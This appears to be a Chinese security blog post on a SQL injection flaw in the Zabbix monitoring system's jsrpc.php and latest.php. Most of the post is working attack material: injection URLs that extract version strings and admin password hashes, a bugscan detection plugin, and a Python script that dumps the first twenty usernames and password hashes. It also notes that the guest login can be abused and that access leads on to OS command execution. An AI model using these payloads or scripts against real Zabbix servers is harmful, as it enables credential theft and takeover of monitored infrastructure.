ZABBIX SQL注入

zabbix是一个开源的企业级性能监控解决方案。

官方网站:http://www.zabbix.com

zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。

warm:其实是需要登录的,只不过我们所看到的无需登录时因为系统内置了一个无需密码的用户guest,直接访问即是guest用户进行访问

1.注入

/zabbix/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

Result
1
看到有小伙伴提问说密码无法获取完全,这了补充一个语句

/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,(select(select+concat(0x7e,alias,0x7e,SUBSTRING((select passwd from users+LIMIT+0,1),9,16),0x7e))+from+users+LIMIT+0,1),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

1

顺手撸了一个bugscan的插件

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Generated by ptools
#__Author__ = 0day5
#_PlugName_ = zabbix
#__Refer___ = http://0day5.com/archives/4029
import re
def assign(service, arg):
    if service == fingerprint.zabbix:
        return True, arg
def audit(arg):
    payload = '/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(0,concat(0x7e7e7e,version(),0x7e7e7e),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17'
    target = arg + payload
    
    code, head, res, final_url, log= hackhttp.http(target)
    result = re.findall(r"~~~(.*?)~~~", res)
    if len(result)>0:
        security_note(target)
if __name__ == '__main__':
    from dummy import *
    audit(assign(fingerprint.zabbix, "http://0day5.com/zabbix")[1])

附上一个获取前20个用户的脚本

#-*- coding:utf-8 -*-
#@Author:RedNiu

import urllib
import urllib2
import requests
import BeautifulSoup


def ZabbixTest(Zabbix_url):
    headers = {
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebkit/537.36 (KHTML,like Gecko) Chrome/27.0.1453.94 Safari/537.36"
    }
    try:
        content=urllib.urlopen(Zabbix_url)
        if content.getcode()==200:
            try:
                ZabbixTest_url=Zabbix_url+"jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17"
                r=requests.get(ZabbixTest_url,headers=headers)
                if r.text.find("ed733b8d10be225eceba344d533586") == -1:
                    print "Maybe this url is not vulnerable!"
                else:
                    for i in range(0,20):
                        Findlly_url = Zabbix_url+"/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1%20AND%20(SELECT%20123%20FROM(SELECT%20COUNT(*),CONCAT(0x716a717a71,(SELECT%20MID((IFNULL(CAST(concat(alias,0x7e,passwd,0x7e)%20AS%20CHAR),0x20)),1,54)%20FROM%20zabbix.users%20ORDER%20BY%20name%20LIMIT%20"+"%s" % i+",1),0x717a6b7a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17"
                        requests_content=urllib2.urlopen(Findlly_url)
                        html_content=requests_content.read()
                        soup=BeautifulSoup.BeautifulSoup(html_content)
                        sqlerror=soup.findAll(attrs={"class":"error"})
                        admin_password=str(sqlerror).split("Duplicate entry \'qjqzq")[1].split("~qzkzq1")[0].split("~")
                        print "第%d个用户:" % (i+1)+admin_password[0]+"\n密码为:"+admin_password[1]
            except:
                pass
        else:
            print "Maybe this url is not zabbix page!"
    except:
            print "Maybe this url is not find!"

if __name__=='__main__':
    Zabbix_url = raw_input("请输入待检测的URL(For example:[url]http://www.xxxx.com/[/url]):")
    ZabbixTest(Zabbix_url)

2.需要登录注入

latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1

Result:

SQL (0.000361): INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (88, 1, 'web.latest.toggle', '1', 2, 15385); select * from users where (1=1)
latest.php:746 → require_once() → CProfile::flush() → CProfile::insertDB() → DBexecute() in /home/sasha/zabbix-svn/branches/2.2/frontends/php/include/profiles.inc.php:185

发表评论